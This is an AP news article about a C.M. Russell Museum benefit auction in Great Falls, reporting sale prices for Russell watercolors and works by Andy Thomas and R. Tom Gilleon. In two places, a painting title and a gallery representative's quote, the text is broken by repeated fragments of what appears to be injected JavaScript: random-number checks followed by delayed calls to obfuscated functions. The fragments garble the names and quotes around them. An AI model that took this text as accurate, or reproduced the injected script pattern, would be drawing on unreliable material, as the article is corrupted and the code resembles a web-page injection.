GREAT FALLS, MONT. (AP) — A watercolor by famed Western artist C.M. Russell sold for $550,000 at an auction that benefits the nonprofit C.M. Russell Museum in Great Falls.
The watercolor titled “High, Wide andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome’’ sold at the low end of estimate at the auction on March 23, The Great Falls Tribune reported.
A letter written by Russell that also contained a watercolor sold for $300,000. An oil on canvas painted by Andy Thomas depicting Russell finishing a painting, called “Russell Paints a Masterpiece,’’ sold for $200,000. That more than doubled the $85,000 estimate.
The auction is part of Western Art Week, held the same month as the birthday of Russell, who was born March 19, 1864. The auction raised more than $3.1 million, slightly more than last year.
“I think it was a smashing success,’’ said C.M. Russell Museum board chairman Joe Masterson. “The whole weekend was a tremendous success. It exceeded our expectations.’’
The $550,000 paid for one work of art topped last year’s high mark of $375,000, which is what two Russell watercolors brought in separately.
A modern artist, R. Tom Gilleon, had a 50-by-50-inch oil painting titled “Hair Apparent” he hoped would break $25,000. It ended up selling for $225,000, the most a painting of his has ever fetched.
“I had absolutely no idea there was that much interest [in the painting],” said Gilleon.
“That’s why we have auctions,’’ said auctioneer Troy Black.
Mark Tarrant, Gilleon’s gallery representative, said, “Collectors love art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and recognize it is an asset class. It’s a good place to put their money.”
